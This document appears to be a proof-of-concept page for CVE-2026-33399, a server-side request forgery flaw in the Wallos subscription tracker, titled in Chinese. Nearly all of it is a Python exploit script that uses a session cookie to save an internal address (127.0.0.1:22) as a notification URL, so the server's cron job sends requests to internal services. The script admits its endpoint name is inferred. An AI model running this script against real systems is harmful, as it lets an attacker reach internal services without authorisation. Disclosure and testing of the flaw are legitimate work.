CVE-2026-33399 Wallos服务端请求伪造漏洞

import requests # Configuration # Replace with the actual target URL and a valid session cookie target_host = "http://vulnerable-wallos-instance.com" internal_ip = "http://127.0.0.1:22" # Target internal service (e.g., SSH, Admin Panel) session_cookie = "valid_user_session_id_here" # The vulnerable save endpoint (inferred from 'save*' endpoints description) save_url = f"{target_host}/save-notification-url" # Payload containing the internal IP address payload_data = { "url": internal_ip, "method": "POST", "event_type": "subscription_renewal" } # Headers with authentication headers = { "Cookie": f"PHPSESSID={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } try: # Step 1: Send request to save the malicious internal URL # The 'save*' endpoint lacks the validate_webhook_url_for_ssrf() check response = requests.post(save_url, data=payload_data, headers=headers) if response.status_code == 200: print("[+] Success: Internal IP URL saved successfully.") print("[+] The server's cron job 'sendnotifications.php' will now send a request to the internal IP.") print(f"[+] Target: {internal_ip}") else: print(f"[-] Failed to save URL. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")